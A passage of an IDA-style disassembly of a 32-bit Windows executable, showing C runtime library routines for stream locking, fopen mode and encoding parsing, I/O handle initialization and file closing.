arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_411E23
		add	eax, 10h
		push	eax
		call	sub_40F9F7
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_411E23:				; CODE XREF: sub_411E0F+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41E150	; RtlEnterCriticalSection
		retn
sub_411E0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E32	proc near		; CODE XREF: sub_40CF7D+3p
					; sub_40D0DF+3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, offset off_423938
		cmp	eax, ecx
		jb	short loc_411E56
		cmp	eax, offset dword_423B98
		ja	short loc_411E56
		sub	eax, ecx
		sar	eax, 5
		add	eax, 10h
		push	eax
		call	sub_40F91F
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_411E56:				; CODE XREF: sub_411E32+Bj
					; sub_411E32+12j
		add	eax, 20h
		push	eax
		call	ds:dword_41E154	; RtlLeaveCriticalSection
		retn
sub_411E32	endp


; =============== S U B	R O U T	I N E =======================================



sub_411E61	proc near		; CODE XREF: sub_412126+7Dp
					; sub_4129A4+9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 14h
		jge	short loc_411E75
		add	eax, 10h
		push	eax
		call	sub_40F91F
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_411E75:				; CODE XREF: sub_411E61+7j
		mov	eax, [esp+arg_4]
		add	eax, 20h
		push	eax
		call	ds:dword_41E154	; RtlLeaveCriticalSection
		retn
sub_411E61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E84	proc near		; CODE XREF: sub_40CEC3+9Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_426504
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_10], ebx
		jmp	short loc_411EA5
; ---------------------------------------------------------------------------

loc_411EA4:				; CODE XREF: sub_411E84+24j
		inc	esi

loc_411EA5:				; CODE XREF: sub_411E84+1Ej
		cmp	byte ptr [esi],	20h
		jz	short loc_411EA4
		mov	al, [esi]
		cmp	al, 61h
		jz	short loc_411EE9
		cmp	al, 72h
		jz	short loc_411EE0
		cmp	al, 77h
		jz	short loc_411ED7
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		xor	eax, eax
		jmp	loc_412122
; ---------------------------------------------------------------------------

loc_411ED7:				; CODE XREF: sub_411E84+32j
		mov	[ebp+arg_4], 301h
		jmp	short loc_411EF0
; ---------------------------------------------------------------------------

loc_411EE0:				; CODE XREF: sub_411E84+2Ej
		or	[ebp+var_4], 1
		mov	[ebp+arg_4], ebx
		jmp	short loc_411EF4
; ---------------------------------------------------------------------------

loc_411EE9:				; CODE XREF: sub_411E84+2Aj
		mov	[ebp+arg_4], 109h

loc_411EF0:				; CODE XREF: sub_411E84+5Aj
		or	[ebp+var_4], 2

loc_411EF4:				; CODE XREF: sub_411E84+63j
		xor	ecx, ecx
		inc	ecx
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		push	edi
		jz	loc_4120BC
		mov	edx, 80h
		mov	edi, 4000h

loc_411F0D:				; CODE XREF: sub_411E84+1B6j
		cmp	ecx, ebx
		jz	loc_412040
		movsx	eax, al
		cmp	eax, 53h
		jg	loc_411FC3
		jz	loc_411FB1
		sub	eax, 20h
		jz	loc_412035
		sub	eax, 0Bh
		jz	short loc_411F8B
		dec	eax
		jz	short loc_411F7F
		sub	eax, 18h
		jz	short loc_411F6C
		sub	eax, 0Ah
		jz	short loc_411F64
		sub	eax, 4
		jnz	loc_4120C5
		cmp	[ebp+var_8], ebx
		jnz	loc_41202A
		or	[ebp+arg_4], 10h
		mov	[ebp+var_8], 1
		jmp	loc_412035
; ---------------------------------------------------------------------------

loc_411F64:				; CODE XREF: sub_411E84+BCj
		or	[ebp+arg_4], edx
		jmp	loc_412035
; ---------------------------------------------------------------------------

loc_411F6C:				; CODE XREF: sub_411E84+B7j
		test	byte ptr [ebp+arg_4], 40h
		jnz	loc_41202A
		or	[ebp+arg_4], 40h
		jmp	loc_412035
; ---------------------------------------------------------------------------

loc_411F7F:				; CODE XREF: sub_411E84+B2j
		mov	[ebp+var_10], 1
		jmp	loc_41202A
; ---------------------------------------------------------------------------

loc_411F8B:				; CODE XREF: sub_411E84+AFj
		test	byte ptr [ebp+arg_4], 2
		jnz	loc_41202A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFFFFEh
		or	eax, 2
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFFFFCh
		or	eax, edx
		mov	[ebp+var_4], eax
		jmp	loc_412035
; ---------------------------------------------------------------------------

loc_411FB1:				; CODE XREF: sub_411E84+9Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41202A
		or	[ebp+arg_4], 20h
		mov	[ebp+var_8], 1
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_411FC3:				; CODE XREF: sub_411E84+97j
		sub	eax, 54h
		jz	short loc_412022
		sub	eax, 0Eh
		jz	short loc_412011
		dec	eax
		jz	short loc_412000
		sub	eax, 0Bh
		jz	short loc_411FEB
		sub	eax, 6
		jnz	loc_4120C5
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_41202A
		or	[ebp+arg_4], edi
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_411FEB:				; CODE XREF: sub_411E84+14Fj
		cmp	[ebp+var_C], ebx
		jnz	short loc_41202A
		and	[ebp+var_4], 0FFFFBFFFh
		mov	[ebp+var_C], 1
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_412000:				; CODE XREF: sub_411E84+14Aj
		cmp	[ebp+var_C], ebx
		jnz	short loc_41202A
		or	[ebp+var_4], edi
		mov	[ebp+var_C], 1
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_412011:				; CODE XREF: sub_411E84+147j
		test	word ptr [ebp+arg_4], 0C000h
		jnz	short loc_41202A
		or	[ebp+arg_4], 8000h
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_412022:				; CODE XREF: sub_411E84+142j
		test	word ptr [ebp+arg_4], 1000h
		jz	short loc_41202E

loc_41202A:				; CODE XREF: sub_411E84+CAj
					; sub_411E84+ECj ...
		xor	ecx, ecx
		jmp	short loc_412035
; ---------------------------------------------------------------------------

loc_41202E:				; CODE XREF: sub_411E84+1A4j
		or	[ebp+arg_4], 1000h

loc_412035:				; CODE XREF: sub_411E84+A6j
					; sub_411E84+DBj ...
		inc	esi
		mov	al, [esi]
		cmp	al, bl
		jnz	loc_411F0D

loc_412040:				; CODE XREF: sub_411E84+8Bj
		cmp	[ebp+var_10], ebx
		jz	short loc_4120BC
		jmp	short loc_412048
; ---------------------------------------------------------------------------

loc_412047:				; CODE XREF: sub_411E84+1C7j
		inc	esi

loc_412048:				; CODE XREF: sub_411E84+1C1j
		cmp	byte ptr [esi],	20h
		jz	short loc_412047
		push	4
		push	esi
		push	offset aCcs	; "ccs="
		call	sub_4186FD
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4120C5
		add	esi, 4
		push	offset aUtf8	; "UTF-8"
		push	esi
		call	sub_418581
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_412081
		add	esi, 5
		or	[ebp+arg_4], 40000h
		jmp	short loc_4120BC
; ---------------------------------------------------------------------------

loc_412081:				; CODE XREF: sub_411E84+1EFj
		push	offset aUtf16le	; "UTF-16LE"
		push	esi
		call	sub_418581
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41209E
		add	esi, 8
		or	[ebp+arg_4], 20000h
		jmp	short loc_4120BC
; ---------------------------------------------------------------------------

loc_41209E:				; CODE XREF: sub_411E84+20Cj
		push	offset aUnicode	; "UNICODE"
		push	esi
		call	sub_418581
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4120C5
		add	esi, 7
		or	[ebp+arg_4], 10000h
		jmp	short loc_4120BC
; ---------------------------------------------------------------------------

loc_4120BB:				; CODE XREF: sub_411E84+23Bj
		inc	esi

loc_4120BC:				; CODE XREF: sub_411E84+79j
					; sub_411E84+1BFj ...
		cmp	byte ptr [esi],	20h
		jz	short loc_4120BB
		cmp	[esi], bl
		jz	short loc_4120DF

loc_4120C5:				; CODE XREF: sub_411E84+C1j
					; sub_411E84+154j ...
		call	sub_40F7D4
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_4120FD
; ---------------------------------------------------------------------------

loc_4120DF:				; CODE XREF: sub_411E84+23Fj
		push	180h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	sub_418349
		add	esp, 14h
		test	eax, eax
		jz	short loc_412101

loc_4120FD:				; CODE XREF: sub_411E84+259j
		xor	eax, eax
		jmp	short loc_412121
; ---------------------------------------------------------------------------

loc_412101:				; CODE XREF: sub_411E84+277j
		mov	eax, [ebp+arg_C]
		inc	dword_426048
		mov	ecx, [ebp+var_4]
		mov	[eax+0Ch], ecx
		mov	ecx, [ebp+var_10]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_412121:				; CODE XREF: sub_411E84+27Bj
		pop	edi

loc_412122:				; CODE XREF: sub_411E84+4Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_411E84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412126	proc near		; CODE XREF: sub_40CEC3+54p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_421B10
		call	__SEH_prolog4
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	1
		call	sub_40F9F7
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		xor	esi, esi

loc_412146:				; CODE XREF: sub_412126+85j
		mov	[ebp+var_20], esi
		cmp	esi, dword_434D20
		jge	loc_412216
		mov	eax, dword_433D00
		lea	eax, [eax+esi*4]
		cmp	[eax], ebx
		jz	short loc_4121B1
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_4121AA
		lea	eax, [esi-3]
		cmp	eax, 10h
		ja	short loc_412183
		lea	eax, [esi+10h]
		push	eax
		call	sub_40F934
		pop	ecx
		test	eax, eax
		jz	loc_412216

loc_412183:				; CODE XREF: sub_412126+49j
		mov	eax, dword_433D00
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_411E0F
		pop	ecx
		pop	ecx
		mov	eax, dword_433D00
		mov	eax, [eax+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_4121AD
		push	eax
		push	esi
		call	sub_411E61
		pop	ecx
		pop	ecx

loc_4121AA:				; CODE XREF: sub_412126+41j
		inc	esi
		jmp	short loc_412146
; ---------------------------------------------------------------------------

loc_4121AD:				; CODE XREF: sub_412126+79j
		mov	edi, eax
		jmp	short loc_412213
; ---------------------------------------------------------------------------

loc_4121B1:				; CODE XREF: sub_412126+39j
		shl	esi, 2
		push	38h
		call	sub_41183A
		pop	ecx
		mov	ecx, dword_433D00
		mov	[esi+ecx], eax
		mov	eax, dword_433D00
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_412216
		push	0FA0h
		mov	eax, [eax]
		add	eax, 20h
		push	eax
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	eax, dword_433D00
		jnz	short loc_4121FE
		push	dword ptr [esi+eax]
		call	sub_40D35A
		pop	ecx
		mov	eax, dword_433D00
		mov	[esi+eax], ebx
		jmp	short loc_412216
; ---------------------------------------------------------------------------

loc_4121FE:				; CODE XREF: sub_412126+C3j
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	ds:dword_41E150	; RtlEnterCriticalSection
		mov	eax, dword_433D00
		mov	edi, [esi+eax]

loc_412213:				; CODE XREF: sub_412126+89j
		mov	[ebp+var_1C], edi

loc_412216:				; CODE XREF: sub_412126+29j
					; sub_412126+57j ...
		cmp	edi, ebx
		jz	short loc_41222C
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx
		or	dword ptr [edi+10h], 0FFFFFFFFh

loc_41222C:				; CODE XREF: sub_412126+F2j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412243
		mov	eax, edi
		call	__SEH_epilog4
		retn
sub_412126	endp


; =============== S U B	R O U T	I N E =======================================



sub_412240	proc near		; DATA XREF: r69pu5ti:00421B28o
		mov	edi, [ebp-1Ch]
sub_412240	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412243	proc near		; CODE XREF: sub_412126+10Dp
		push	1
		call	sub_40F91F
		pop	ecx
		retn
sub_412243	endp


; =============== S U B	R O U T	I N E =======================================



sub_41224C	proc near		; CODE XREF: sub_40CEC3+8Ap
					; sub_41224C+BDp ...

var_20		= dword	ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_8]
		push	ebp
		push	edx
		push	eax
		push	ecx
		push	ecx
		push	offset loc_4122DC
		push	large dword ptr	fs:0
		mov	eax, dword_423068
		xor	eax, esp
		mov	[esp+28h+var_20], eax
		mov	large fs:0, esp

loc_41227E:				; CODE XREF: sub_41224C+64j
					; sub_41224C+80j
		mov	eax, [esp+28h+arg_4]
		mov	ebx, [eax+8]
		mov	ecx, [esp+28h+arg_0]
		xor	ebx, [ecx]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFEh
		jz	short loc_4122CE
		mov	edx, [esp+28h+arg_8]
		cmp	edx, 0FFFFFFFEh
		jz	short loc_4122A0
		cmp	esi, edx
		jbe	short loc_4122CE

loc_4122A0:				; CODE XREF: sub_41224C+4Ej
		lea	esi, [esi+esi*2]
		lea	ebx, [ebx+esi*4+10h]
		mov	ecx, [ebx]
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+4], 0
		jnz	short loc_41227E
		push	101h
		mov	eax, [ebx+8]
		call	sub_418829
		mov	ecx, 1
		mov	eax, [ebx+8]
		call	sub_418848
		jmp	short loc_41227E
; ---------------------------------------------------------------------------

loc_4122CE:				; CODE XREF: sub_41224C+45j
					; sub_41224C+52j
		pop	large dword ptr	fs:0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_4122DC:				; DATA XREF: sub_41224C+14o
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_412321
		mov	eax, [esp+arg_4]
		mov	ecx, [eax+8]
		xor	ecx, eax
		call	sub_40AB4A
		push	ebp
		mov	ebp, [eax+18h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+14h]
		call	sub_41224C
		add	esp, 0Ch
		pop	ebp
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_412321:				; CODE XREF: sub_41224C+A0j
		retn
sub_41224C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		push	dword ptr [ecx+1Ch]
		push	dword ptr [ecx+18h]
		push	dword ptr [ecx+28h]
		call	sub_41224C
		add	esp, 0Ch
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41233E	proc near		; CODE XREF: sub_410640+89p
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	ebp, edx
		xor	eax, eax
		xor	ebx, ebx
		xor	edx, edx
		xor	esi, esi
		xor	edi, edi
		call	ecx
		pop	ebx
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41233E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_410640

loc_412355:				; CODE XREF: sub_410640+170j
		mov	ebp, edx
		mov	esi, ecx
		mov	eax, ecx
		push	1
		call	sub_418829
		xor	eax, eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		xor	edi, edi
		jmp	esi
; END OF FUNCTION CHUNK	FOR sub_410640

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41236E	proc near		; CODE XREF: sub_410640+11Fp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	0
		push	0
		push	offset loc_412383
		push	ecx
		call	sub_41D486

loc_412383:				; DATA XREF: sub_41236E+Ao
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41236E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412388	proc near		; CODE XREF: sub_410640+137p
					; sub_410640+18Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		mov	ebp, [esp+4+arg_0]
		push	edx
		push	ecx
		push	[esp+0Ch+arg_4]
		call	sub_41224C
		add	esp, 0Ch
		pop	ebp
		retn	8
sub_412388	endp


; =============== S U B	R O U T	I N E =======================================



sub_41239F	proc near		; CODE XREF: sub_40CF9A+10Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4126A4
		push	eax
		call	sub_4172A0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_412431
		call	sub_411D09
		add	eax, 20h
		cmp	esi, eax
		jnz	short loc_4123C6
		xor	eax, eax
		jmp	short loc_4123D5
; ---------------------------------------------------------------------------

loc_4123C6:				; CODE XREF: sub_41239F+21j
		call	sub_411D09
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_412431
		xor	eax, eax
		inc	eax

loc_4123D5:				; CODE XREF: sub_41239F+25j
		inc	dword_426048
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_412431
		push	ebx
		push	edi
		lea	edi, ds:42604Ch[eax*4]
		cmp	dword ptr [edi], 0
		mov	ebx, 1000h
		jnz	short loc_412416
		push	ebx
		call	sub_41183A
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_412416
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_412423
; ---------------------------------------------------------------------------

loc_412416:				; CODE XREF: sub_41239F+55j
					; sub_41239F+62j
		mov	edi, [edi]
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+18h], ebx
		mov	[esi+4], ebx

loc_412423:				; CODE XREF: sub_41239F+75j
		or	dword ptr [esi+0Ch], 1102h
		pop	edi
		xor	eax, eax
		pop	ebx
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_412431:				; CODE XREF: sub_41239F+15j
					; sub_41239F+31j ...
		xor	eax, eax
		pop	esi
		retn
sub_41239F	endp


; =============== S U B	R O U T	I N E =======================================



sub_412435	proc near		; CODE XREF: sub_40CF9A+128p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		jz	short locret_412463
		push	esi
		mov	esi, [esp+4+arg_4]
		test	word ptr [esi+0Ch], 1000h
		jz	short loc_412462
		push	esi
		call	sub_41285E
		and	dword ptr [esi+0Ch], 0FFFFEEFFh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx

loc_412462:				; CODE XREF: sub_412435+12j
		pop	esi

locret_412463:				; CODE XREF: sub_412435+5j
		retn
sub_412435	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412464	proc near		; CODE XREF: .text:0040E0CEp

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_421B30
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:off_41E18C
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	28h
		push	20h
		pop	esi
		push	esi
		call	sub_41187A
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_41269B
		mov	dword_433C00, eax
		mov	dword_433BE4, esi
		lea	ecx, [eax+500h]
		jmp	short loc_4124D7
; ---------------------------------------------------------------------------

loc_4124AE:				; CODE XREF: sub_412464+75j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	ecx, dword_433C00
		add	ecx, 500h

loc_4124D7:				; CODE XREF: sub_412464+48j
		cmp	eax, ecx
		jb	short loc_4124AE
		cmp	[ebp+var_32], di
		jz	loc_4125E2
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_4125E2
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_412506
		mov	edi, eax

loc_412506:				; CODE XREF: sub_412464+9Ej
		xor	esi, esi
		inc	esi
		jmp	short loc_41255D
; ---------------------------------------------------------------------------

loc_41250B:				; CODE XREF: sub_412464+FFj
		push	28h
		push	20h
		call	sub_41187A
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_412567
		lea	ecx, ds:433C00h[esi*4]
		mov	[ecx], eax
		add	dword_433BE4, 20h
		lea	edx, [eax+500h]
		jmp	short loc_412558
; ---------------------------------------------------------------------------

loc_412532:				; CODE XREF: sub_412464+F6j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 28h
		mov	edx, [ecx]
		add	edx, 500h

loc_412558:				; CODE XREF: sub_412464+CCj
		cmp	eax, edx
		jb	short loc_412532
		inc	esi

loc_41255D:				; CODE XREF: sub_412464+A5j
		cmp	dword_433BE4, edi
		jl	short loc_41250B
		jmp	short loc_41256D
; ---------------------------------------------------------------------------

loc_412567:				; CODE XREF: sub_412464+B4j
		mov	edi, dword_433BE4

loc_41256D:				; CODE XREF: sub_412464+101j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_4125E2

loc_412575:				; CODE XREF: sub_412464+17Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4125D5
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_4125D5
		mov	al, [ebx]
		test	al, 1
		jz	short loc_4125D5
		test	al, 8
		jnz	short loc_412599
		push	ecx
		call	ds:dword_41E130	; GetFileType
		test	eax, eax
		jz	short loc_4125D5

loc_412599:				; CODE XREF: sub_412464+128j
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		imul	esi, 28h
		add	esi, dword_433C00[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41269B
		inc	dword ptr [esi+8]

loc_4125D5:				; CODE XREF: sub_412464+119j
					; sub_412464+11Ej ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_412575

loc_4125E2:				; CODE XREF: sub_412464+7Bj
					; sub_412464+86j ...
		xor	ebx, ebx

loc_4125E4:				; CODE XREF: sub_412464+213j
		mov	esi, ebx
		imul	esi, 28h
		add	esi, dword_433C00
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412601
		cmp	eax, 0FFFFFFFEh
		jz	short loc_412601
		or	byte ptr [esi+4], 80h
		jmp	short loc_412673
; ---------------------------------------------------------------------------

loc_412601:				; CODE XREF: sub_412464+190j
					; sub_412464+195j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_41260E
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------

loc_41260E:				; CODE XREF: sub_412464+1A3j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_412618:				; CODE XREF: sub_412464+1A8j
		push	eax
		call	ds:dword_41E134	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_412669
		test	edi, edi
		jz	short loc_412669
		push	edi
		call	ds:dword_41E130	; GetFileType
		test	eax, eax
		jz	short loc_412669
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_412647
		or	byte ptr [esi+4], 40h
		jmp	short loc_412650
; ---------------------------------------------------------------------------

loc_412647:				; CODE XREF: sub_412464+1DBj
		cmp	eax, 3
		jnz	short loc_412650
		or	byte ptr [esi+4], 8

loc_412650:				; CODE XREF: sub_412464+1E1j
					; sub_412464+1E6j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_416874
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41269B
		inc	dword ptr [esi+8]
		jmp	short loc_412673
; ---------------------------------------------------------------------------

loc_412669:				; CODE XREF: sub_412464+1C0j
					; sub_412464+1C4j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh

loc_412673:				; CODE XREF: sub_412464+19Bj
					; sub_412464+203j
		inc	ebx
		cmp	ebx, 3
		jl	loc_4125E4
		push	dword_433BE4
		call	ds:dword_41E138	; LockResource
		xor	eax, eax
		jmp	short loc_41269E
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_41269B:				; CODE XREF: sub_412464+31j
					; sub_412464+168j ...
		or	eax, 0FFFFFFFFh

loc_41269E:				; CODE XREF: sub_412464+227j
		call	__SEH_epilog4
		retn
sub_412464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126A4	proc near		; CODE XREF: sub_40CF9A+63p
					; sub_40CF9A+6Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_4126CC
		call	sub_40F7D4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4126CC:				; CODE XREF: sub_4126A4+9j
		mov	eax, [eax+10h]
		pop	esi
		retn
sub_4126A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126D1	proc near		; CODE XREF: sub_412765+94p
					; sub_417C3F+340p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_418949
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412730
		cmp	esi, 1
		mov	eax, dword_433C00
		jnz	short loc_4126F3
		test	byte ptr [eax+54h], 1
		jnz	short loc_4126FE

loc_4126F3:				; CODE XREF: sub_4126D1+1Aj
		cmp	esi, 2
		jnz	short loc_412714
		test	byte ptr [eax+2Ch], 1
		jz	short loc_412714

loc_4126FE:				; CODE XREF: sub_4126D1+20j
		push	2
		call	sub_418949
		push	1
		mov	edi, eax
		call	sub_418949
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_412730

loc_412714:				; CODE XREF: sub_4126D1+25j
					; sub_4126D1+2Bj
		push	esi
		call	sub_418949
		pop	ecx
		push	eax
		call	ds:dword_41E0C4	; CloseHandle
		test	eax, eax
		jnz	short loc_412730
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		mov	edi, eax
		jmp	short loc_412732
; ---------------------------------------------------------------------------

loc_412730:				; CODE XREF: sub_4126D1+10j
					; sub_4126D1+41j ...
		xor	edi, edi

loc_412732:				; CODE XREF: sub_4126D1+5Dj
		push	esi
		call	sub_4188C8
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		test	edi, edi
		mov	eax, dword_433C00[eax*4]
		pop	ecx
		mov	byte ptr [eax+esi+4], 0
		jz	short loc_412760
		push	edi
		call	sub_40F7FA
		pop	ecx
